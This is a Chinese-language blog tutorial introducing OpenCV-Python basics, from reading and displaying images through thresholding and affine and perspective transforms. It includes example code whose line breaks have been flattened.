(一)OpenCV-Python学习—基础知识-白红宇

(一)OpenCV-Python学习—基础知识

阅读量：5066 次

发布时间：2019-06-12

本文共 16760 字，大约阅读时间需要 55 分钟。

　　opencv是一个强大的图像处理和计算机视觉库，实现了很多实用算法，值得学习和深究下。

1.opencv包安装

·　　这里直接安装opencv-python包（非官方）： pip install opencv-python

　　官方文档：https://opencv-python-tutroals.readthedocs.io/en/latest/

2. opencv简单图像处理

　　2.1 图像像素存储形式

　　　　首先得了解下图像在计算机中存储形式：(为了方便画图，每列像素值都写一样了)

　　　　对于只有黑白颜色的灰度图，为单通道，一个像素块对应矩阵中一个数字，数值为0到255, 其中0表示最暗（黑色），255表示最亮（白色）

　　　　对于采用RGB模式的彩色图片，为三通道图，Red、Green、Blue三原色，按不同比例相加，一个像素块对应矩阵中的一个向量, 如[24,180, 50]，分别表示三种颜色的比列, 即对应深度上的数字，如下图所示：

　　　　需要注意的是，由于历史遗留问题，opencv采用BGR模式，而不是RGB

　　2.2 图像读取和写入

　　　　cv2.imread()

imread(img_path,flag) 读取图片，返回图片对象    img_path: 图片的路径，即使路径错误也不会报错，但打印返回的图片对象为None    flag：cv2.IMREAD_COLOR，读取彩色图片，图片透明性会被忽略，为默认参数，也可以传入1          cv2.IMREAD_GRAYSCALE,按灰度模式读取图像，也可以传入0          cv2.IMREAD_UNCHANGED,读取图像，包括其alpha通道，也可以传入-1

　　　　cv2.imshow()

imshow(window_name,img)：显示图片，窗口自适应图片大小    window_name: 指定窗口的名字    img：显示的图片对象    可以指定多个窗口名称，显示多个图片    waitKey(millseconds)  键盘绑定事件，阻塞监听键盘按键，返回一个数字（不同按键对应的数字不同）    millseconds: 传入时间毫秒数，在该时间内等待键盘事件；传入0时，会一直等待键盘事件    destroyAllWindows(window_name)     window_name: 需要关闭的窗口名字，不传入时关闭所有窗口

　　　　cv2.imwrite()

imwrite(img_path_name,img)    img_path_name:保存的文件名    img：文件对象

　　使用示例：

#coding:utf-8import cv2img = cv2.imread(r"C:\Users\Administrator\Desktop\roi.jpg")# print(img.shape)img_gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)ret,img_threshold = cv2.threshold(img_gray,127,255,cv2.THRESH_BINARY)cv2.imshow("img",img)cv2.imshow("thre",img_threshold)key = cv2.waitKey(0)if key==27: #按esc键时，关闭所有窗口    print(key)    cv2.destroyAllWindows()cv2.imwrite(r"C:\Users\Administrator\Desktop\thre.jpg",img_threshold)

View Code

　　2.3 图像像素获取和编辑

　　　　像素值获取：

img = cv2.imread(r"C:\Users\Administrator\Desktop\roi.jpg")#获取和设置pixel = img[100,100]  #[57 63 68],获取(100,100)处的像素值img[100,100]=[57,63,99] #设置像素值b = img[100,100,0]    #57, 获取(100,100)处，blue通道像素值g = img[100,100,1]    #63r = img[100,100,2]      #68r = img[100,100,2]=99    #设置red通道值#获取和设置piexl = img.item(100,100,2)img.itemset((100,100,2),99)

　　　　图片性质

import cv2img = cv2.imread(r"C:\Users\Administrator\Desktop\roi.jpg")#rows,cols,channelsimg.shape   #返回(280, 450, 3), 宽280(rows)，长450(cols)，3通道(channels)#sizeimg.size    #返回378000，所有像素数量，=280*450*3#typeimg.dtype   #dtype('uint8')

　　　ROI截取（Range of Interest）

#ROI,Range of instrestroi = img[100:200,300:400]  #截取100行到200行，列为300到400列的整块区域img[50:150,200:300] = roi   #将截取的roi移动到该区域 （50到100行，200到300列）b = img[:,:,0]  #截取整个蓝色通道b,g,r = cv2.split(img) #截取三个通道，比较耗时img = cv2.merge((b,g,r))

　　2.4 添加边界(padding)　　

cv2.copyMakeBorder()    参数：        img:图像对象        top,bottom,left,right: 上下左右边界宽度，单位为像素值        borderType:            cv2.BORDER_CONSTANT, 带颜色的边界，需要传入另外一个颜色值            cv2.BORDER_REFLECT, 边缘元素的镜像反射做为边界            cv2.BORDER_REFLECT_101/cv2.BORDER_DEFAULT            cv2.BORDER_REPLICATE, 边缘元素的复制做为边界            CV2.BORDER_WRAP        value: borderType为cv2.BORDER_CONSTANT时，传入的边界颜色值，如[0,255,0]

　　　　使用示例：

#coding:utf-8import cv2 as cvimport matplotlib.pyplot as pltimg2 = cv.imread(r"C:\Users\Administrator\Desktop\dog.jpg")img = cv.cvtColor(img2,cv.COLOR_BGR2RGB)  #matplotlib的图像为RGB格式constant = cv.copyMakeBorder(img,20,20,20,20,cv.BORDER_CONSTANT,value=[0,255,0]) #绿色reflect = cv.copyMakeBorder(img,20,20,20,20,cv.BORDER_REFLECT)reflect01 = cv.copyMakeBorder(img,20,20,20,20,cv.BORDER_REFLECT_101)replicate = cv.copyMakeBorder(img,20,20,20,20,cv.BORDER_REPLICATE)wrap = cv.copyMakeBorder(img,20,20,20,20,cv.BORDER_WRAP)titles = ["constant","reflect","reflect01","replicate","wrap"]images = [constant,reflect,reflect01,replicate,wrap]for i in range(5):    plt.subplot(2,3,i+1),plt.imshow(images[i]),plt.title(titles[i])    plt.xticks([]),plt.yticks([])plt.show()

View Code

　　2.5 像素算术运算

　　　　　　cv2.add() 相加的两个图片，应该有相同的大小和通道

cv2.add()    参数：        img1:图片对象1        img2:图片对象2        mask:None （掩膜，一般用灰度图做掩膜，img1和img2相加后，和掩膜与运算，从而达到掩盖部分区域的目的）        dtype:-1注意：图像相加时应该用cv2.add(img1,img2)代替img1+img2            >>> x = np.uint8([250])        >>> y = np.uint8([10])        >>> print cv2.add(x,y) # 250+10 = 260 => 255  #相加，opencv超过255的截取为255        [[255]]        >>> print x+y          # 250+10 = 260 % 256 = 4  #相加，np超过255的会取模运算 （uint8只能表示0-255，所以取模）        [4]

　　　　　　使用示例：图一无掩膜，图二有掩膜

#coding:utf-8import cv2 as cvimport numpy as npimg1 = cv.imread("C:\Users\Administrator\Desktop\cat.jpg",0)roi_img  = np.zeros(img1.shape[0:2],dtype=np.uint8)# print(img1.shape[0:2])roi_img[100:280,400:550]=255img_add = cv.add(img1,img1)img_add_mask = cv.add(img1,img1,mask=roi_img)# cv.imshow("img1",img1)# cv.imshow("roi_img",roi_img)cv.imshow("img_add",img_add)cv.imshow("img_add_mask",img_add_mask)cv.waitKey(0)cv.destroyAllWindows()

View Code

　　　　　　cv.addWeight(): 两张图片相加，分别给予不同权重，实现图片融合和透明背景等效果

cv2.addWeighted() 两张图片相加，分别给予不同权重，实现图片融合和透明背景等效果    参数：        img1:图片对象1        alpha:img1的权重        img2:图片对象2        beta:img1的权重        gamma：常量值，图像相加后再加上常量值        dtype：返回图像的数据类型，默认为-1，和img1一样    (img1*alpha+img2*beta+gamma)

　　　　使用示例：

#coding:utf-8import cv2 as cvimg1 = cv.imread(r"C:\Users\Administrator\Desktop\dog.jpg")img = img1[0:426,43:683]img2 = cv.imread(r"C:\Users\Administrator\Desktop\cat.jpg")blend = cv.addWeighted(img,0.5,img2,0.9,0)  #两张图的大小和通道也应该相同cv.imshow("blend",blend)cv.waitKey()cv.destroyAllWindows()

View Code

　　2.6 图像位运算

　　　　　btwise_and(), bitwise_or(), bitwise_not(), bitwise_xor()

cv2.btwise_and(): 与运算    参数：        img1:图片对象1        img2:图片对象2        mask:掩膜    cv2.bitwise_or()：或运算    参数：        img1:图片对象1        img2:图片对象2        mask:掩膜    cv2.bitwise_not(): 非运算        img1:图片对象1        mask:掩膜    cv2.bitwise_xor():异或运算，相同为1，不同为0（1^1=0,1^0=1）        img1:图片对象1        img2:图片对象2        mask:掩膜

　　使用示例：将logo图片移动到足球图片中，需要截取logo图片的前景和足球图片ROI的背景，然后叠加，效果如下：

#coding:utf-8import cv2 as cvimport matplotlib.pyplot as pltimg1 = cv.imread(r"C:\Users\Administrator\Desktop\logo.png")rows,cols = img1.shape[0:2]img2 = cv.imread(r"C:\Users\Administrator\Desktop\Messi.jpg")roi = img2[0:rows,0:cols]img1_gray = cv.cvtColor(img1,cv.COLOR_BGR2GRAY)ret,img1_thres = cv.threshold(img1_gray,200,255,cv.THRESH_BINARY_INV)img1_fg =cv.add(img1,img1,mask=img1_thres)    #拿到logo图案的前景img1_thres_inv = cv.bitwise_not(img1_thres)roi_bg = cv.add(roi,roi,mask=img1_thres_inv)  #拿到roi图案的背景img_add = cv.add(img1_fg,roi_bg)     #背景和前景相加    img2[0:rows,0:cols] = img_addcv.imshow("gray",img1_gray)cv.imshow("thres",img1_thres)cv.imshow("fg",img1_fg)cv.imshow("tinv",img1_thres_inv)cv.imshow("roi_bg",roi_bg)cv.imshow("img_add",img_add)cv.imshow("img2",img2)cv.waitKey(0)cv.destroyAllWindows()

View Code

　　2.7 图像颜色空间转换

　　　　cv2.cvtColor()

cv2.cvtColor()    参数：        img: 图像对象        code：            cv2.COLOR_RGB2GRAY: RGB转换到灰度模式            cv2.COLOR_RGB2HSV： RGB转换到HSV模式（hue,saturation,Value）cv2.inRange()    参数：        img: 图像对象/array        lowerb: 低边界array，  如lower_blue = np.array([110,50,50])        upperb：高边界array， 如 upper_blue = np.array([130,255,255])    mask = cv2.inRange(hsv, lower_green, upper_green)

　　2.8 性能评价　

　　　cv2.getTickCount()：获得时钟次数

　　　cv2.getTickFrequency()：获得时钟频率（每秒振动次数）

img1 = cv2.imread('messi5.jpg')e1 = cv2.getTickCount()for i in xrange(5,49,2):    img1 = cv2.medianBlur(img1,i)e2 = cv2.getTickCount()t = (e2 - e1)/cv2.getTickFrequency()print t

　　2.9 绑定trackbar到图像

　　　　cv2.createTrackbar()

　　　　cv2.getTrackbarPos()

cv2.createTrackbar() 为窗口添加trackbar    参数：        trackbarname: trackbar的名字        winname: 窗口的名字        value: trackbar创建时的值        count：trackbar能设置的最大值，最小值总为0        onChange：trackbar值发生变化时的回调函数，trackbar的值作为参数传给onchange            cv2.getTrackbarPos() 获取某个窗口中trackbar的值    参数：        trackbarname: trackbar的名字        winname: 窗口的名字

　　　　使用示例：通过改变trackbar的值，来寻找最优的mask范围，从而识别出图片中蓝色的瓶盖

#coding:utf-8import cv2 as cvimport numpy as npdef nothing(args):    passimg = cv.imread(r"C:\Users\Administrator\Desktop\frame.png")img_hsv = cv.cvtColor(img,cv.COLOR_BGR2HSV)cv.namedWindow('tracks')cv.createTrackbar("LH","tracks",0,255,nothing)cv.createTrackbar("LS","tracks",0,255,nothing)cv.createTrackbar("LV","tracks",0,255,nothing)cv.createTrackbar("UH","tracks",255,255,nothing)cv.createTrackbar("US","tracks",255,255,nothing)cv.createTrackbar("UV","tracks",255,255,nothing)# switch = "0:OFF \n1:ON"# cv.createTrackbar(switch,"tracks",0,1,nothing)while(1):            l_h = cv.getTrackbarPos("LH","tracks")    l_s = cv.getTrackbarPos("LS","tracks")    l_v = cv.getTrackbarPos("LV","tracks")    u_h = cv.getTrackbarPos("UH","tracks")    u_s = cv.getTrackbarPos("US","tracks")    u_v = cv.getTrackbarPos("UV","tracks")        lower_b = np.array([l_h,l_s,l_v])    upper_b = np.array([u_h,u_s,u_v])        mask = cv.inRange(img_hsv,lower_b,upper_b)    res = cv.add(img,img,mask=mask)        cv.imshow("img",img)    cv.imshow("mask",mask)    cv.imshow("res",res)    k = cv.waitKey(1)    if k==27:        break            # print(r,g,b)    # if s==0:        # img[:]=0    # else:        # img[:]=cv.destroyAllWindows()

View Code

3. 图像阈值化

　　cv2.threshold()

　　cv2.adaptiveThreshold()

cv2.threshold(): 参数：    img:图像对象，必须是灰度图    thresh:阈值    maxval：最大值    type:        cv2.THRESH_BINARY:     小于阈值的像素置为0，大于阈值的置为maxval        cv2.THRESH_BINARY_INV： 小于阈值的像素置为maxval，大于阈值的置为0        cv2.THRESH_TRUNC：      小于阈值的像素不变，大于阈值的置为thresh        cv2.THRESH_TOZERO       小于阈值的像素置0，大于阈值的不变        cv2.THRESH_TOZERO_INV   小于阈值的不变，大于阈值的像素置0返回两个值    ret:阈值    img：阈值化处理后的图像    cv2.adaptiveThreshold() 自适应阈值处理，图像不同部位采用不同的阈值进行处理参数：    img: 图像对象，8-bit单通道图    maxValue:最大值    adaptiveMethod: 自适应方法        cv2.ADAPTIVE_THRESH_MEAN_C     ：阈值为周围像素的平均值        cv2.ADAPTIVE_THRESH_GAUSSIAN_C : 阈值为周围像素的高斯均值（按权重）    threshType:        cv2.THRESH_BINARY:     小于阈值的像素置为0，大于阈值的置为maxValuel        cv2.THRESH_BINARY_INV:  小于阈值的像素置为maxValue，大于阈值的置为0    blocksize: 计算阈值时，自适应的窗口大小,必须为奇数 （如3：表示附近3个像素范围内的像素点，进行计算阈值）    C： 常数值，通过自适应方法计算的值，减去该常数值(mean value of the blocksize*blocksize neighborhood of (x, y) minus C)

　　使用示例：

#coding:utf-8import cv2 as cvimport matplotlib.pyplot as pltimg = cv.imread(r"C:\Users\Administrator\Desktop\maze.png",0)ret,thre1 = cv.threshold(img,127,255,cv.THRESH_BINARY)adaptive_thre1 = cv.adaptiveThreshold(img,255,cv.ADAPTIVE_THRESH_MEAN_C,cv.THRESH_BINARY,7,2)adaptive_thre2 = cv.adaptiveThreshold(img,255,cv.ADAPTIVE_THRESH_GAUSSIAN_C,cv.THRESH_BINARY,7,2)titles = ["img","thre1","adaptive_thre1","adaptive_thre2"]imgs = [img,thre1,adaptive_thre1,adaptive_thre2 ]for i in range(4):    plt.subplot(2,2,i+1), plt.imshow(imgs[i],"gray")    plt.title(titles[i])    plt.xticks([]),plt.yticks([])plt.show()

View Code

　　奥斯二值化（Otsu's Binarization）

　　　　对于一些双峰图像，奥斯二值化能找到两峰之间的像素值作为阈值，并将其返回。适用于双峰图像的阈值化，或者通过去噪而产生的双峰图像。

　　　　官网使用示例：

import cv2import numpy as npfrom matplotlib import pyplot as pltimg = cv2.imread('noisy2.png',0)# global thresholdingret1,th1 = cv2.threshold(img,127,255,cv2.THRESH_BINARY)# Otsu's thresholdingret2,th2 = cv2.threshold(img,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)# Otsu's thresholding after Gaussian filteringblur = cv2.GaussianBlur(img,(5,5),0)ret3,th3 = cv2.threshold(blur,0,255,cv2.THRESH_BINARY+cv2.THRESH_OTSU)# plot all the images and their histogramsimages = [img, 0, th1,          img, 0, th2,          blur, 0, th3]titles = ['Original Noisy Image','Histogram','Global Thresholding (v=127)',          'Original Noisy Image','Histogram',"Otsu's Thresholding",          'Gaussian filtered Image','Histogram',"Otsu's Thresholding"]for i in xrange(3):    plt.subplot(3,3,i*3+1),plt.imshow(images[i*3],'gray')    plt.title(titles[i*3]), plt.xticks([]), plt.yticks([])    plt.subplot(3,3,i*3+2),plt.hist(images[i*3].ravel(),256)    plt.title(titles[i*3+1]), plt.xticks([]), plt.yticks([])    plt.subplot(3,3,i*3+3),plt.imshow(images[i*3+2],'gray')    plt.title(titles[i*3+2]), plt.xticks([]), plt.yticks([])plt.show()

View Code　　　

4. 图像形状变换

　　4.1 cv2.resize() 图像缩放

cv2.resize() 放大和缩小图像    参数：        src: 输入图像对象        dsize：输出矩阵/图像的大小，为0时计算方式如下：dsize = Size(round(fx*src.cols),round(fy*src.rows))        fx: 水平轴的缩放因子，为0时计算方式：  (double)dsize.width/src.cols        fy: 垂直轴的缩放因子，为0时计算方式：  (double)dsize.heigh/src.rows        interpolation：插值算法            cv2.INTER_NEAREST : 最近邻插值法            cv2.INTER_LINEAR   默认值，双线性插值法            cv2.INTER_AREA        基于局部像素的重采样（resampling using pixel area relation）。对于图像抽取（image decimation）来说，这可能是一个更好的方法。但如果是放大图像时，它和最近邻法的效果类似。            cv2.INTER_CUBIC        基于4x4像素邻域的3次插值法            cv2.INTER_LANCZOS4     基于8x8像素邻域的Lanczos插值                         cv2.INTER_AREA 适合于图像缩小， cv2.INTER_CUBIC (slow) & cv2.INTER_LINEAR 适合于图像放大

　　　　官网示例：

import cv2import numpy as npimg = cv2.imread('messi5.jpg')res = cv2.resize(img,None,fx=2, fy=2, interpolation = cv2.INTER_CUBIC)#ORheight, width = img.shape[:2]res = cv2.resize(img,(2*width, 2*height), interpolation = cv2.INTER_CUBIC)

图像放大两倍

　　4.2 cv2.warpAffine() 仿射变换

　　　　仿射变换（从二维坐标到二维坐标之间的线性变换，且保持二维图形的“平直性”和“平行性”。仿射变换可以通过一系列的原子变换的复合来实现，包括平移，缩放，翻转，旋转和剪切）

cv2.warpAffine()   仿射变换（从二维坐标到二维坐标之间的线性变换，且保持二维图形的“平直性”和“平行性”。仿射变换可以通过一系列的原子变换的复合来实现，包括平移，缩放，翻转，旋转和剪切）    参数：        img: 图像对象        M：2*3 transformation matrix (转变矩阵)        dsize：输出矩阵的大小,注意格式为（cols，rows）  即width对应cols，height对应rows        flags：可选，插值算法标识符，有默认值INTER_LINEAR，               如果插值算法为WARP_INVERSE_MAP, warpAffine函数使用如下矩阵进行图像转dst(x,y)=src(M11*x+M12*y+M13,M21*x+M22*y+M23)        borderMode：可选， 边界像素模式，有默认值BORDER_CONSTANT         borderValue:可选，边界取值，有默认值Scalar()即0

　　　　　常用插值算法：

　　　仿射变换的本质：即一个矩阵A和向量B共同组成的转变矩阵，和原图像坐标相乘来得到新图像的坐标，从而实现图像移动，旋转等。如下矩阵A和向量B组成的转变矩阵M，用来对原图像的坐标（x,y）进行转变，得到新的坐标向量T

　　　　矩阵A和向量B

　　　　仿射变换（矩阵计算）：变换前坐标（x,y）

　　　　变换结果：变换后坐标（a00*x+a01 *y+b00, a10*x+a11*y+b10）

　　4.2.1 平移变换

　　　　了解了仿射变换的概念，平移变换只是采用了一个如下的转变矩阵（transformation matrix）: 从（x,y）平移到（x+t_x, y+t_y）

　　　　　官网使用示例：向左平移100，向下平移50

import cv2import numpy as npimg = cv2.imread('messi5.jpg',0)rows,cols = img.shapeM = np.float32([[1,0,100],[0,1,50]])dst = cv2.warpAffine(img,M,(cols,rows))cv2.imshow('img',dst)cv2.waitKey(0)cv2.destroyAllWindows()

View Code

　　4.2.2 放大和缩小

　　　　　放大和缩小指相对于原坐标（x,y）,变换为了（a*x, b*y）,即水平方向放大了a倍，水平方向放大了b倍，其对应的转变矩阵如下：

　　4.2.3 旋转变换

　　　　　　将（x,y），以坐标原点为中心，顺时针方向旋转α得到(x_1,y₁)，有如下关系x₁ = xcosα-ysinα, y₁ =xsinα+ycosα; 因此可以构建对应的转变矩阵如下：

　　　　　　opencv将其扩展到，任意点center为中心进行顺时针旋转α，放大scale倍的，转变矩阵如下：

　　　　　　通过getRotationMatrix2D()能得到转变矩阵

　　cv2.getRotationMatrix2D()  返回2*3的转变矩阵（浮点型）    参数：        center：旋转的中心点坐标        angle：旋转角度，单位为度数，证书表示逆时针旋转        scale：同方向的放大倍数

　　4.2.4 仿射变换矩阵的计算

　　　　通过上述的平移，缩放，旋转的组合变换即实现了仿射变换，上述多个变换的变换矩阵相乘即能得到组合变换的变换矩阵。同时该变换矩阵中涉及到六个未知数（2*3的矩阵），通过变换前后对应三组坐标，也可以求出变换矩阵，opencv提供了函数getAffineTransform()来计算变化矩阵

　　　　1> 矩阵相乘：将平移，旋转和缩放的变换矩阵相乘，最后即为仿射变换矩阵

　　　　2> getAffineTransform()：根据变换前后三组坐标计算变换矩阵　　　　　

　　　　cv2.getAffineTransform()  返回2*3的转变矩阵    　 参数：       　　 src：原图像中的三组坐标，如np.float32([[50,50],[200,50],[50,200]])        　　dst: 转换后的对应三组坐标，如np.float32([[10,100],[200,50],[100,250]])

　　　　官网使用示例：　　　　　

img = cv2.imread('drawing.png')rows,cols,ch = img.shapepts1 = np.float32([[50,50],[200,50],[50,200]])pts2 = np.float32([[10,100],[200,50],[100,250]])M = cv2.getAffineTransform(pts1,pts2)dst = cv2.warpAffine(img,M,(cols,rows))plt.subplot(121),plt.imshow(img),plt.title('Input')plt.subplot(122),plt.imshow(dst),plt.title('Output')plt.show()

View Code

　　4.3 透视变换(persperctive transformation)

　　　　仿射变换都是在二维空间的变换，透视变换（投影变换）是在三维空间中发生了旋转。需要前后四组坐标来计算对应的转变矩阵，opencv提供了函数getPerspectiveTransform()来计算转变矩阵，cv2.wrapPerspective()函数来进行透视变换。其对应参数如下：　

　　　　　cv2.getPerspectiveTransform()   返回3*3的转变矩阵        参数：                src：原图像中的四组坐标，如 np.float32([[56,65],[368,52],[28,387],[389,390]])            dst: 转换后的对应四组坐标，如np.float32([[0,0],[300,0],[0,300],[300,300]])                    cv2.wrapPerspective()        参数：                src: 图像对象            M：3*3 transformation matrix (转变矩阵)            dsize：输出矩阵的大小，注意格式为（cols，rows）  即width对应cols，height对应rows            flags：可选，插值算法标识符，有默认值INTER_LINEAR，                   如果插值算法为WARP_INVERSE_MAP, warpAffine函数使用如下矩阵进行图像转dst(x,y)=src(M11*x+M12*y+M13,M21*x+M22*y+M23)            borderMode：可选， 边界像素模式，有默认值BORDER_CONSTANT             borderValue:可选，边界取值，有默认值Scalar()即0

　　　官网使用示例：

img = cv2.imread('sudokusmall.png')rows,cols,ch = img.shapepts1 = np.float32([[56,65],[368,52],[28,387],[389,390]])pts2 = np.float32([[0,0],[300,0],[0,300],[300,300]])M = cv2.getPerspectiveTransform(pts1,pts2)dst = cv2.warpPerspective(img,M,(300,300))plt.subplot(121),plt.imshow(img),plt.title('Input')plt.subplot(122),plt.imshow(dst),plt.title('Output')plt.show()

View Code